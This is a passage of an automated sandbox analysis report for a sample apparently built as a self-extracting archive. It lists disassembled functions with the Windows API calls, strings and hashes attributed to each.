Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 4c9b3a0a88c1fbdd2f086fc4df329d73353bda54a2d53b94cd856ccc53f8d266
Instruction ID: efe5dd3b721924e8c6db0b034b3fa6a04fb7745d7c44b0dffbaf7b32d4027431
Opcode Fuzzy Hash: 4c9b3a0a88c1fbdd2f086fc4df329d73353bda54a2d53b94cd856ccc53f8d266
Instruction Fuzzy Hash: 9832B071900218EBCF24FF68C886AEA77E5FF15700F4405AAF915A72A1EBB1DD85CB50

Function 00B9D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B9B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B9B579
Part of subcall function 00B9B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B9B58A
Part of subcall function 00B9B568: IsDialogMessageW.USER32(0001040E,?), ref: 00B9B59E
Part of subcall function 00B9B568: TranslateMessage.USER32(?), ref: 00B9B5AC
Part of subcall function 00B9B568: DispatchMessageW.USER32(?), ref: 00B9B5B6

GetDlgItem.USER32(00000068,00BDFCB8), ref: 00B9D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,00B9AF07,00000001,?,?,00B9B7B9,00BB506C,00BDFCB8,00BDFCB8,00001000,00000000,00000000), ref: 00B9D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00B9D51B
SendMessageW.USER32(00000000,000000C2,00000000,00BB35F4), ref: 00B9D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B9D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00B9D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B9D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00B9D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B9D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B9D5E1
SendMessageW.USER32(00000000,000000C2,00000000,00BB43F4), ref: 00B9D5F0

Strings

\, xrefs: 00B9D549

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: f38f2d7eeaa820aa20323fa539bef4b71eb19dbdf65b576e931ac80f6531298b
Instruction ID: 2e971f224c5ffdf1bbbcc3c575dca39a25d67992f41853b01eeb787a834cb3c1
Opcode Fuzzy Hash: f38f2d7eeaa820aa20323fa539bef4b71eb19dbdf65b576e931ac80f6531298b
Instruction Fuzzy Hash: 8E31AF71145382ABE301DF209C8EFAB7FECEB96B04F000518F5519B2A2DF669A048776

Function 00B9D78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00B9D7AE
ShellExecuteExW.SHELL32(?), ref: 00B9D8DE
ShowWindow.USER32(?,00000000), ref: 00B9D91D
GetExitCodeProcess.KERNEL32(?,?), ref: 00B9D959
CloseHandle.KERNEL32(?), ref: 00B9D97F
ShowWindow.USER32(?,00000001), ref: 00B9D9E1

Strings

.exe, xrefs: 00B9D989
.inf, xrefs: 00B9D89A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 5798a1eb048289096ed3f735d1e2f4b7cd57e42200808f0d2674c2ac1ec4337b
Instruction ID: 65d3563aea651f63657e67d28a881390ed3274297bf738b5f7462b16ef59be2a
Opcode Fuzzy Hash: 5798a1eb048289096ed3f735d1e2f4b7cd57e42200808f0d2674c2ac1ec4337b
Instruction Fuzzy Hash: C951C7715083809ADF31AF26D894BBBBBE4EF45744F0408BEF5C5971A1EBB18984C762

Function 00BAA95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00BA5695,00BA5695,?,?,?,00BAABAC,00000001,00000001,2DE85006), ref: 00BAA9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00BAABAC,00000001,00000001,2DE85006,?,?,?), ref: 00BAAA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00BAAB35
__freea.LIBCMT ref: 00BAAB42

Part of subcall function 00BA8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BACA2C,00000000,?,00BA6CBE,?,00000008,?,00BA91E0,?,?,?), ref: 00BA8E38

__freea.LIBCMT ref: 00BAAB4B
__freea.LIBCMT ref: 00BAAB70

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 360f52552db3243bdbefacd123833bfac295da827ec4a196d0f2f9a3709e7117
Instruction ID: 743885e24d9e54f3c52db3168a4dd675c31886b8ea921fcfdd385e27280a58ba
Opcode Fuzzy Hash: 360f52552db3243bdbefacd123833bfac295da827ec4a196d0f2f9a3709e7117
Instruction Fuzzy Hash: CB51C072604216AFDB258F64CC82EBFB7EAEB46750F5546A8FC14E6150EB34DC40C6B2

Function 00BA3B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00BA3C35,?,?,00BE2088,00000000,?,00BA3D60,00000004,InitializeCriticalSectionEx,00BB6394,InitializeCriticalSectionEx,00000000), ref: 00BA3C03

Strings

api-ms-, xrefs: 00BA3BC3

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 183dfc2abd6041dd820aedd2fc27fd4aa202071a2184e4f09317405ea9619928
Instruction ID: d5804d57ee7e44f2d568c0737d48e0b1428580ff172628efd3d17be7c3e6081f
Opcode Fuzzy Hash: 183dfc2abd6041dd820aedd2fc27fd4aa202071a2184e4f09317405ea9619928
Instruction Fuzzy Hash: 8811A731A49225ABCB218B589C8175D37E5DF03F70F650290F915EB190E771EF0086E1

Function 00B898E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00B87760,?,00000005,?,00000011), ref: 00B8995F
GetLastError.KERNEL32(?,?,00B87760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B8996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00B87760,?,00000005,?), ref: 00B899A2
GetLastError.KERNEL32(?,?,00B87760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B899AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00B87760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B899F9

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 7d8b3b37f0cc16c588e12e19e88f6d874d9960085bda59268b116d3944e63439
Instruction ID: 7384a1db5b9715c335c0fa846b2f0f38d8d21973686403ee52d9e2b48138b5a1
Opcode Fuzzy Hash: 7d8b3b37f0cc16c588e12e19e88f6d874d9960085bda59268b116d3944e63439
Instruction Fuzzy Hash: 6F312330544745AFEB30AF24CC86BEABBD4FB44320F280B5DF9A5961E0D7B4A944CB91

Function 00B9B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B9B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B9B58A
IsDialogMessageW.USER32(0001040E,?), ref: 00B9B59E
TranslateMessage.USER32(?), ref: 00B9B5AC
DispatchMessageW.USER32(?), ref: 00B9B5B6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 112e0ffa813e379d9df901a1437032146bfc93e3bc8b5eccfc29044f87156c38
Instruction ID: c5666b52c9fbbb1f8ea8ce3a2f020798decc103e0b0880b7ed2aa8e02c324e7c
Opcode Fuzzy Hash: 112e0ffa813e379d9df901a1437032146bfc93e3bc8b5eccfc29044f87156c38
Instruction Fuzzy Hash: C0F0BD71A0116AAB8F209BE5AD8CEEB7FECEE057917404415B505D3011EF34D605CBB0

Function 00B9ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00B9ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00B9ABF9

Part of subcall function 00B91FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00B8C116,00000000,.exe,?,?,00000800,?,?,?,00B98E3C), ref: 00B91FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00B9ABE9

Strings

EDIT, xrefs: 00B9ABCD, 00B9ABD8, 00B9ABE5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: ad29663de267906daeaa40b2cbd690da31ae7909dd97293e9e7bbedb1ba34029
Instruction ID: 4bcc910327c8494c15a144dabaf6acf16cdb58e69d642921e1448b23ba5461e3
Opcode Fuzzy Hash: ad29663de267906daeaa40b2cbd690da31ae7909dd97293e9e7bbedb1ba34029
Instruction Fuzzy Hash: 42F0823260022977DF20A6259C49FEB76EC9B46F40F4840A1BA05A7181DB60EE4185F6

Function 00B9AC16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B9081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B90836
Part of subcall function 00B9081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B8F2D8,Crypt32.dll,00000000,00B8F35C,?,?,00B8F33E,?,?,?), ref: 00B90858

OleInitialize.OLE32(00000000), ref: 00B9AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00B9AC66
SHGetMalloc.SHELL32(00BC8438), ref: 00B9AC70

Strings

riched20.dll, xrefs: 00B9AC1E

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: ae144e20c4c070f28f7b9a2a0ae550798b17073f6876c427554b1b00b7004dc1
Instruction ID: 4d658cd028efc00d47fcd41722ac9da26ad9378ad6c1f68d36da0baa08da6e2a
Opcode Fuzzy Hash: ae144e20c4c070f28f7b9a2a0ae550798b17073f6876c427554b1b00b7004dc1
Instruction Fuzzy Hash: CDF0FFB1900249ABCB10AFA9D889AEFFBFCEF94700F00415AA415A3251DBB456058BA1

Function 00B9DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00B9DBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00B9DC30

Strings

sfxpar, xrefs: 00B9DC2B
sfxcmd, xrefs: 00B9DBEF

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 9beeee3d0990179d0a7426df93cfff857494f4098e08a9e941d292d72065c1b2
Instruction ID: b1610745f2717d8ee4dce82502dc651ab38d567e5c5ba397fc5bdd520917050c
Opcode Fuzzy Hash: 9beeee3d0990179d0a7426df93cfff857494f4098e08a9e941d292d72065c1b2
Instruction Fuzzy Hash: CDF03772419224ABDF202B999C06BFA77ECEF15B81B0404A5BD85B6151DAF0D980D6A1

Function 00B89785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00B89795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00B897AD
GetLastError.KERNEL32 ref: 00B897DF
GetLastError.KERNEL32 ref: 00B897FE

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: d085f9eff6c00a037c7ebb7465eab11bed1407c40ec09403a87f9578238f0d70
Instruction ID: b8a28d9b99035917f536be7cb79b605d2a971ad844270de935ffb3d1d163daaa
Opcode Fuzzy Hash: d085f9eff6c00a037c7ebb7465eab11bed1407c40ec09403a87f9578238f0d70
Instruction Fuzzy Hash: 96118E34914205EBDF207F64CC44A7937E9FF42BA0F188AA9F426861B0DBB49E44DB61

Function 00BAAD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00B8D710,00000000,00000000,?,00BAACDB,00B8D710,00000000,00000000,00000000,?,00BAAED8,00000006,FlsSetValue), ref: 00BAAD66
GetLastError.KERNEL32(?,00BAACDB,00B8D710,00000000,00000000,00000000,?,00BAAED8,00000006,FlsSetValue,00BB7970,FlsSetValue,00000000,00000364,?,00BA98B7), ref: 00BAAD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00BAACDB,00B8D710,00000000,00000000,00000000,?,00BAAED8,00000006,FlsSetValue,00BB7970,FlsSetValue,00000000), ref: 00BAAD80

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: b77bcdf7edebd3d5bc589472cab8f258b79006b9cc04e91f9f6bb6dd25405754
Instruction ID: fcf95f663095d1374e02060ce7c13c890f1c51f028ab9b85eef743184bee2a69
Opcode Fuzzy Hash: b77bcdf7edebd3d5bc589472cab8f258b79006b9cc04e91f9f6bb6dd25405754
Instruction Fuzzy Hash: 3301F736209226AFC7224F689C84A5B7BD8EF46BA27110770F9C6D7560DF21D801C6F1

Function 00B89F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00B8D343,00000001,?,?,?,00000000,00B9551D,?,?,?), ref: 00B89F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00B9551D,?,?,?,?,?,00B94FC7,?), ref: 00B89FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00B8D343,00000001,?,?), ref: 00B8A011

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: d7abc2847a6ab440dd7bc15625897b34a51f834bd538b0840152647fd0a3226a
Instruction ID: de99eaf2204387b881635a6e19e2be486ae2cacbb39decb1566a0d032d0021b7
Opcode Fuzzy Hash: d7abc2847a6ab440dd7bc15625897b34a51f834bd538b0840152647fd0a3226a
Instruction Fuzzy Hash: A631B031204305AFEB19EF20D858B7A77E5FF84B15F040A5DF5819B2A0CB75AD48CBA2

Function 00B8A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00B8C27E: _wcslen.LIBCMT ref: 00B8C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A30C
GetLastError.KERNEL32(?,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A329

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: fe613f9bdf7a87303a8bd73ddf436f91ba3c61d3cf528fc309a93d383567197d
Instruction ID: f46096d99943bc0563d4e555e766b405c1d88a6d9b74176179dd48882cbb1257
Opcode Fuzzy Hash: fe613f9bdf7a87303a8bd73ddf436f91ba3c61d3cf528fc309a93d383567197d
Instruction Fuzzy Hash: AF01B131200614AAFF21BB754C59BED37D8EF0A781F444496F901E60B1DB64CA81C7BA

Function 00BAB893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00BAB8B8

Strings

, xrefs: 00BAB8FD

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 590aeb46bd6af2a3aed97245a54b5e079c6bcd04d34f1c9a6147f8658fef7ac1
Instruction ID: b1b8baeaa8b70d53273963622b14e3ea9df0f3c9edaae042974a3acf1b8c202e
